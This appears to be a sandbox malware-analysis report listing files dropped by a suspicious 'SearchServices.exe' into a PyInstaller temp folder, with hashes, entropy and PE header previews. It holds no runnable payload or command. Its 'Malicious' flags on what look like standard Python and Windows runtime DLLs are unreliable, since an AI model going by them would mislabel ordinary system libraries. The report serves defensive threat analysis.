Encrypted:	false
SSDEEP:	768:yez/DF36r3CkrAIeRI77UNYiSyvlfUvPxWEl:yeDM3CkrAIeRI77UN7SyOvPx
MD5:	52D0A6009D3DE40F4FA6EC61DB98C45C
SHA1:	5083A2AFF5BCCE07C80409646347C63D2A87BD25
SHA-256:	007BCF19D9B036A7E73F5EF31F39BFB1910F72C9C10E4A1B0658352CFE7A8B75
SHA-512:	CD552A38EFAA8720A342B60318F62320CE20C03871D2E50D3FA3A9A730B84DACDBB8EB4D0AB7A1C8A97215B537826C8DC532C9A55213BCD0C1D13D7D8A9AD824
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._ZF.1.F.1.F.1.O..D.1...0.D.1...4.J.1...5.N.1...2.E.1...0.E.1...0.D.1.F.0...1...<.G.1...1.G.1.....G.1...3.G.1.RichF.1.........PE..d...&..c.........." ...".....8......................................................B.....`..........................................C..L....C..d....p.......`.......N...)..........`4..T........................... 3..@............0..(............................text............................... ..`.rdata..2....0......................@..@.data...x....P.......:..............@....pdata.......`.......>..............@..@.rsrc........p.......B..............@..@.reloc...............L..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\_socket.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	77696
Entropy (8bit):	6.248960816871735
Encrypted:	false
SSDEEP:	1536:c67eU/Bgujs9/s+S+py8k/DDjaRI7Qw27Syj/Px:c673/aujs9/sT+pPk/XmRI7Qw2xx
MD5:	0F5E64E33F4D328EF11357635707D154
SHA1:	8B6DCB4B9952B362F739A3F16AE96C44BEA94A0E
SHA-256:	8AF6D70D44BB9398733F88BCFB6D2085DD1A193CD00E52120B96A651F6E35EBE
SHA-512:	4BE9FEBB583364DA75B6FB3A43A8B50EE29CA8FC1DDA35B96C0FCC493342372F69B4F27F2604888BCA099C8D00F38A16F4C9463C16EFF098227D812C29563643
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z..{4..{4..{4......{4...5..{4...1..{4...0..{4...7..{4.U.5..{4..{5.\{4.9.5..{4.U.9..{4.U.4..{4.U....{4.U.6..{4.Rich.{4.........................PE..d...0..c.........." ...".l.......... &.......................................P............`.............................................P...P........0....... ..l........)...@.........T...............................@............................................text...Rj.......l.................. ..`.rdata...s.......t...p..............@..@.data...............................@....pdata..l.... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\_sqlite3.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	97664
Entropy (8bit):	6.170877221164934
Encrypted:	false
SSDEEP:	1536:QzgM+YDOyvuPwYXGqijQa4rlIain9NbT19c4LOyZkyDFI75Qx87SyDPx:vtYCDPSQa4rlIXDbPc23ZkyDFI75Qx8H
MD5:	9F38F603BD8F7559609C4FFA47F23C86
SHA1:	8B0136FC2506C1CCEF2009DB663E4E7006E23C92
SHA-256:	28090432A18B59EB8CBE8FDCF11A277420B404007F31CA571321488A43B96319
SHA-512:	273A19F2F609BEDE9634DAE7C47D7B28D369C88420B2B62D42858B1268D6C19B450D83877D2DBA241E52755A3F67A87F63FEA8E5754831C86D16E2A8F214AD72
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......8..\|...\|...\|...u...z...3...~...3.~.}...3...q...3...t...3..........y.......~...\|..........u......}....\|.}......}...Rich\|...........PE..d...[..c.........." ..."..................................................................`.............................................P....................`.......T...)..............T...............................@...............`............................text...n........................... ..`.rdata...p.......r..................@..@.data...,....@......................@....pdata.......`.......2..............@..@.rsrc................F..............@..@.reloc...............P..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\_ssl.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	159096
Entropy (8bit):	6.001271339711538
Encrypted:	false
SSDEEP:	3072:xOoLGtbSpE3z/J/PUE1ueW5J2oEPwu3rE923+nuI5Piev9mutI7t7L+xu:xOoitbSpE3zhH7ueAE8nuaF9muy
MD5:	9DDB64354EF0B91C6999A4B244A0A011
SHA1:	86A9DC5EA931638699EB6D8D03355AD7992D2FEE
SHA-256:	E33B7A4AA5CDD5462EE66830636FDD38048575A43D06EB7E2F688358525DDEAB
SHA-512:	4C86478861FA4220680A94699E7D55FBDC90D2785CAEE10619CECB058F833292EE7C3D6AC2ED1EF34B38FBFF628B79D672194A337701727A54BB6BBC5BF9AECA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,z..h.gLh.gLh.gLac.Ln.gL'gfMj.gL'gbMe.gL'gcM`.gL'gdMk.gL.gfMj.gL.afMl.gLh.fL..gL.ifMo.gL.gjMj.gL.ggMi.gL.g.Li.gL.geMi.gLRichh.gL................PE..d...3..c.........." ..."............l*.............................................._M....`............................................d...4........`.......P.......D..x)...p..<.......T...............................@............................................text...x........................... ..`.rdata..J...........................@..@.data....j.......f..................@....pdata.......P....... ..............@..@.rsrc........`.......,..............@..@.reloc..<....p.......6..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-console-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22112
Entropy (8bit):	4.744270711412692
Encrypted:	false
SSDEEP:	192:zFOhcWqhWpvWEXCVWQ4iWwklRxwVIX01k9z3AROVaz4ILS:zFlWqhWpk6R9zeU0J2
MD5:	E8B9D74BFD1F6D1CC1D99B24F44DA796
SHA1:	A312CFC6A7ED7BF1B786E5B3FD842A7EEB683452
SHA-256:	B1B3FD40AB437A43C8DB4994CCFFC7F88000CC8BB6E34A2BCBFF8E2464930C59
SHA-512:	B74D9B12B69DB81A96FC5A001FD88C1E62EE8299BA435E242C5CB2CE446740ED3D8A623E1924C2BC07BFD9AEF7B2577C9EC8264E53E5BE625F4379119BAFCC27
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d....dZ..........." .........0...............................................@............`A........................................p...,............0...............0..`&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-datetime-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.602255667966723
Encrypted:	false
SSDEEP:	192:NWqhWEWEXCVWQ4cRWvBQrVXC4dlgX01k9z3AUj7W6SxtR:NWqhWPlZVXC4deR9zVj7QR
MD5:	CFE0C1DFDE224EA5FED9BD5FF778A6E0
SHA1:	5150E7EDD1293E29D2E4D6BB68067374B8A07CE6
SHA-256:	0D0F80CBF476AF5B1C9FD3775E086ED0DFDB510CD0CC208EC1CCB04572396E3E
SHA-512:	B0E02E1F19CFA7DE3693D4D63E404BDB9D15527AC85A6D492DB1128BB695BFFD11BEC33D32F317A7615CB9A820CD14F9F8B182469D65AF2430FFCDBAD4BD7000
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.....N7.........." .........0...............................................@............`A........................................p................0...............0..h&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-debug-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.606873381830854
Encrypted:	false
SSDEEP:	192:T0WqhWnWEXCVWQ4mW5ocADB6ZX01k9z3AkprGvV:T0WqhW8VcTR9zJpr4V
MD5:	33BBECE432F8DA57F17BF2E396EBAA58
SHA1:	890DF2DDDFDF3EECCC698312D32407F3E2EC7EB1
SHA-256:	7CF0944901F7F7E0D0B9AD62753FC2FE380461B1CCE8CDC7E9C9867C980E3B0E
SHA-512:	619B684E83546D97FC1D1BC7181AD09C083E880629726EE3AF138A9E4791A6DCF675A8DF65DC20EDBE6465B5F4EAC92A64265DF37E53A5F34F6BE93A5C2A7AE5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d....IL..........." .........0...............................................@...........`A........................................p................0...............0..h&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-errorhandling-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.65169290018864
Encrypted:	false
SSDEEP:	192:qzmxD3T4qLWqhW2WJWadJCsVWQ4mW/xNVAv+cQ0GX01k9z3ARoanSwT44:qzQVWqhWTCsiNbZR9zQoUSwTJ
MD5:	EB0978A9213E7F6FDD63B2967F02D999
SHA1:	9833F4134F7AC4766991C918AECE900ACFBF969F
SHA-256:	AB25A1FE836FC68BCB199F1FE565C27D26AF0C390A38DA158E0D8815EFE1103E
SHA-512:	6F268148F959693EE213DB7D3DB136B8E3AD1F80267D8CBD7D5429C021ADACCC9C14424C09D527E181B9C9B5EA41765AFF568B9630E4EB83BFC532E56DFE5B63
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d................." .........0...............................................@............`A........................................p................0...............0..x&..............p............................................................................rdata..H...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-file-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26216
Entropy (8bit):	4.866487428274293
Encrypted:	false
SSDEEP:	192:gaNYPvVX8rFTsCWqhWVWEXCVWQ4mWPJlBLrp0KBQfX01k9z3ALkBw:WPvVX8WqhWiyBRxB+R9z2kBw
MD5:	EFAD0EE0136532E8E8402770A64C71F9
SHA1:	CDA3774FE9781400792D8605869F4E6B08153E55
SHA-256:	3D2C55902385381869DB850B526261DDEB4628B83E690A32B67D2E0936B2C6ED
SHA-512:	69D25EDF0F4C8AC5D77CB5815DFB53EAC7F403DC8D11BFE336A545C19A19FFDE1031FA59019507D119E4570DA0D79B95351EAC697F46024B4E558A0FF6349852
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d....(............" .........@...............................................P......z.....`A........................................p................@...............@..h&..............p............................................................................rdata..\|........ ..................@..@.data........0......................@....rsrc........@.......0..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-file-l1-2-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.619913450163593
Encrypted:	false
SSDEEP:	192:iDGaWqhWhWJWadJCsVWQ4mWd9afKUSIX01k9z3AEXzAU9:i6aWqhWACs92IR9z5EU9
MD5:	1C58526D681EFE507DEB8F1935C75487
SHA1:	0E6D328FAF3563F2AAE029BC5F2272FB7A742672
SHA-256:	EF13DCE8F71173315DFC64AB839B033AB19A968EE15230E9D4D2C9D558EFEEE2
SHA-512:	8EDB9A0022F417648E2ECE9E22C96E2727976332025C3E7D8F15BCF6D7D97E680D1BF008EB28E2E0BD57787DCBB71D38B2DEB995B8EDC35FA6852AB1D593F3D1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.....RS.........." .........0...............................................@......;.....`A........................................p...L............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-file-l2-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	18696
Entropy (8bit):	7.054510010549814
Encrypted:	false
SSDEEP:	384:eVrW1hWbvm0GftpBjzH4m3S9gTlUK3dsl:eVuAViaB/6sl
MD5:	BFFFA7117FD9B1622C66D949BAC3F1D7
SHA1:	402B7B8F8DCFD321B1D12FC85A1EE5137A5569B2
SHA-256:	1EA267A2E6284F17DD548C6F2285E19F7EDB15D6E737A55391140CE5CB95225E
SHA-512:	B319CC7B436B1BE165CDF6FFCAB8A87FE29DE78F7E0B14C8F562BE160481FB5483289BD5956FDC1D8660DA7A3F86D8EEDE35C6CC2B7C3D4C852DECF4B2DCDB7F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...4.F>.........." .........................................................0............`.........................................`................ ...................=..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-handle-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.625331165566263
Encrypted:	false
SSDEEP:	192:qzWqhWxWJWadJCsVWQ4mW8RJLNVAv+cQ0GX01k9z3ARo8ef3uBJu:qzWqhWwCsjNbZR9zQoEzu
MD5:	E89CDCD4D95CDA04E4ABBA8193A5B492
SHA1:	5C0AEE81F32D7F9EC9F0650239EE58880C9B0337
SHA-256:	1A489E0606484BD71A0D9CB37A1DC6CA8437777B3D67BFC8C0075D0CC59E6238
SHA-512:	55D01E68C8C899E99A3C62C2C36D6BCB1A66FF6ECD2636D2D0157409A1F53A84CE5D6F0C703D5ED47F8E9E2D1C9D2D87CC52585EE624A23D92183062C999B97E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d....Hb..........." .........0...............................................@............`A........................................p...`............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.737397647066978
Encrypted:	false
SSDEEP:	192:OdxlZWqhWcWJWadJCsVWQ4mWlhtFyttuX01k9z3A2oD:OdxlZWqhWpCsctkSR9zfoD
MD5:	ACCC640D1B06FB8552FE02F823126FF5
SHA1:	82CCC763D62660BFA8B8A09E566120D469F6AB67
SHA-256:	332BA469AE84AA72EC8CCE2B33781DB1AB81A42ECE5863F7A3CB5A990059594F
SHA-512:	6382302FB7158FC9F2BE790811E5C459C5C441F8CAEE63DF1E09B203B8077A27E023C4C01957B252AC8AC288F8310BCEE5B4DCC1F7FC691458B90CDFAA36DCBE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d....B.l.........." .........0...............................................@.......A....`A........................................p................0...............0..x&..............p............................................................................rdata..\|...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-interlocked-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.6569647133331316
Encrypted:	false
SSDEEP:	192:dwWqhWWWEXCVWQ4mWLnySfKUSIX01k9z3AEXz5SLaDa3:iWqhWJhY2IR9z5YLt3
MD5:	C6024CC04201312F7688A021D25B056D
SHA1:	48A1D01AE8BC90F889FB5F09C0D2A0602EE4B0FD
SHA-256:	8751D30DF554AF08EF42D2FAA0A71ABCF8C7D17CE9E9FF2EA68A4662603EC500
SHA-512:	D86C773416B332945ACBB95CBE90E16730EF8E16B7F3CCD459D7131485760C2F07E95951AEB47C1CF29DE76AFFEB1C21BDF6D8260845E32205FE8411ED5EFA47
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...}.o..........." .........0...............................................@......v.....`A........................................p................0...............0..h&..............p............................................................................rdata..L...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-libraryloader-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.882042129450427
Encrypted:	false
SSDEEP:	192:9TvuBL3BBLAWqhWUWEXCVWQ4iWgdCLVx6RMySX01k9z3AzaXQ+BB:9TvuBL3BaWqhW/WSMR9zqaP
MD5:	1F2A00E72BC8FA2BD887BDB651ED6DE5
SHA1:	04D92E41CE002251CC09C297CF2B38C4263709EA
SHA-256:	9C8A08A7D40B6F697A21054770F1AFA9FFB197F90EF1EEE77C67751DF28B7142
SHA-512:	8CF72DF019F9FC9CD22FF77C37A563652BECEE0708FF5C6F1DA87317F41037909E64DCBDCC43E890C5777E6BCFA4035A27AFC1AEEB0F5DEBA878E3E9AEF7B02A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.....g..........." .........0...............................................@............`A........................................p................0...............0..h&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-localization-l1-2-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	5.355894399765837
Encrypted:	false
SSDEEP:	384:0naOMw3zdp3bwjGzue9/0jCRrndbnWqhW5lFydVXC4deR9zVj7xR:FOMwBprwjGzue9/0jCRrndbtGydVXC4O
MD5:	724223109E49CB01D61D63A8BE926B8F
SHA1:	072A4D01E01DBBAB7281D9BD3ADD76F9A3C8B23B
SHA-256:	4E975F618DF01A492AE433DFF0DD713774D47568E44C377CEEF9E5B34AAD1210
SHA-512:	19B0065B894DC66C30A602C9464F118E7F84D83010E74457D48E93AACA4422812B093B15247B24D5C398B42EF0319108700543D13F156067B169CCFB4D7B6B7C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...0.&3.........." .........0...............................................@......L0....`A........................................p................0...............0..h&..............p............................................................................rdata..D...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-memory-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.771309314175772
Encrypted:	false
SSDEEP:	192:L0WqhWTWEXCVWQ4cRWdmjKDUX01k9z3AQyMX/7kn:L0WqhWol1pR9zzDY
MD5:	3C38AAC78B7CE7F94F4916372800E242
SHA1:	C793186BCF8FDB55A1B74568102B4E073F6971D6
SHA-256:	3F81A149BA3862776AF307D5C7FEEF978F258196F0A1BF909DA2D3F440FF954D
SHA-512:	C2746AA4342C6AFFFBD174819440E1BBF4371A7FED29738801C75B49E2F4F94FD6D013E002BAD2AADAFBC477171B8332C8C5579D624684EF1AFBFDE9384B8588
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...`.@f.........." .........0...............................................@......K.....`A........................................p...l............0...............0..h&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-namedpipe-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.7115212149950185
Encrypted:	false
SSDEEP:	192:bWqhWUxWJWadJCsVWQ4mW5iFyttuX01k9z3A2EC:bWqhWUwCs8SR9zfEC
MD5:	321A3CA50E80795018D55A19BF799197
SHA1:	DF2D3C95FB4CBB298D255D342F204121D9D7EF7F
SHA-256:	5476DB3A4FECF532F96D48F9802C966FDEF98EC8D89978A79540CB4DB352C15F
SHA-512:	3EC20E1AC39A98CB5F726D8390C2EE3CD4CD0BF118FDDA7271F7604A4946D78778713B675D19DD3E1EC1D6D4D097ABE9CD6D0F76B3A7DFF53CE8D6DBC146870A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...j............" .........0...............................................@............`A........................................p................0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-processenvironment-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.893761152454321
Encrypted:	false
SSDEEP:	192:dEFP2WqhWVWEXCVWQ4mW68vx6RMySX01k9z3AzapOP:eF+WqhWi6gMR9zqa0
MD5:	0462E22F779295446CD0B63E61142CA5
SHA1:	616A325CD5B0971821571B880907CE1B181126AE
SHA-256:	0B6B598EC28A9E3D646F2BB37E1A57A3DDA069A55FBA86333727719585B1886E
SHA-512:	07B34DCA6B3078F7D1E8EDE5C639F697C71210DCF9F05212FD16EB181AB4AC62286BC4A7CE0D84832C17F5916D0224D1E8AAB210CEEFF811FC6724C8845A74FE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...L.Y..........." .........0...............................................@............`A........................................p...H............0...............0..h&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-processthreads-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	5.231196901820079
Encrypted:	false
SSDEEP:	192:/Mck1JzX9cKSI0WqhWsWJWadJCsVWQ4mWClLeyttuX01k9z3A2XCJq:Uck1JzNcKSI0WqhWZCsvfSR9zfyk
MD5:	C3632083B312C184CBDD96551FED5519
SHA1:	A93E8E0AF42A144009727D2DECB337F963A9312E
SHA-256:	BE8D78978D81555554786E08CE474F6AF1DE96FCB7FA2F1CE4052BC80C6B2125
SHA-512:	8807C2444A044A3C02EF98CF56013285F07C4A1F7014200A21E20FCB995178BA835C30AC3889311E66BC61641D6226B1FF96331B019C83B6FCC7C87870CCE8C4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d....O.j.........." .........0...............................................@......9&....`A........................................p................0...............0..x&..............p............................................................................rdata..d...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-processthreads-l1-1-1.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.799245167892134
Encrypted:	false
SSDEEP:	192:R0DfIeUWqhWLWJWadJCsVWQ4mWFVyttuX01k9z3A2YHmp:R0DfIeUWqhWiCsLSR9zfYHmp
MD5:	517EB9E2CB671AE49F99173D7F7CE43F
SHA1:	4CCF38FED56166DDBF0B7EFB4F5314C1F7D3B7AB
SHA-256:	57CC66BF0909C430364D35D92B64EB8B6A15DC201765403725FE323F39E8AC54
SHA-512:	492BE2445B10F6BFE6C561C1FC6F5D1AF6D1365B7449BC57A8F073B44AE49C88E66841F5C258B041547FCD33CBDCB4EB9DD3E24F0924DB32720E51651E9286BE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.....#..........." .........0...............................................@.......,....`A........................................p................0...............0..x&..............p............................................................................rdata..\...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-profile-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.587063911311469
Encrypted:	false
SSDEEP:	192:fWqhWeWJWadJCsVWQ4mWMs7DENNVAv+cQ0GX01k9z3ARoIGA/:fWqhWbCs8oNbZR9zQoxS
MD5:	F3FF2D544F5CD9E66BFB8D170B661673
SHA1:	9E18107CFCD89F1BBB7FDAF65234C1DC8E614ADD
SHA-256:	E1C5D8984A674925FA4AFBFE58228BE5323FE5123ABCD17EC4160295875A625F
SHA-512:	184B09C77D079127580EF80EB34BDED0F5E874CEFBE1C5F851D86861E38967B995D859E8491FCC87508930DC06C6BBF02B649B3B489A1B138C51A7D4B4E7AAAD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d......e.........." .........0...............................................@............`A........................................p................0...............0..x&..............p............................................................................rdata..P...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-rtlsupport-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.754374422741657
Encrypted:	false
SSDEEP:	192:CGeVPWqhWUWJWadJCsVWQ4mWUhSqyttuX01k9z3A2lqn7cq:CGeVPWqhWBCsvoSR9zflBq
MD5:	A0C2DBE0F5E18D1ADD0D1BA22580893B
SHA1:	29624DF37151905467A223486500ED75617A1DFD
SHA-256:	3C29730DF2B28985A30D9C82092A1FAA0CEB7FFC1BD857D1EF6324CF5524802F
SHA-512:	3E627F111196009380D1687E024E6FFB1C0DCF4DCB27F8940F17FEC7EFDD8152FF365B43CB7FDB31DE300955D6C15E40A2C8FB6650A91706D7EA1C5D89319B12
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d......Z.........." .........0...............................................@............`A........................................p...<............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-string-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.664553499673792
Encrypted:	false
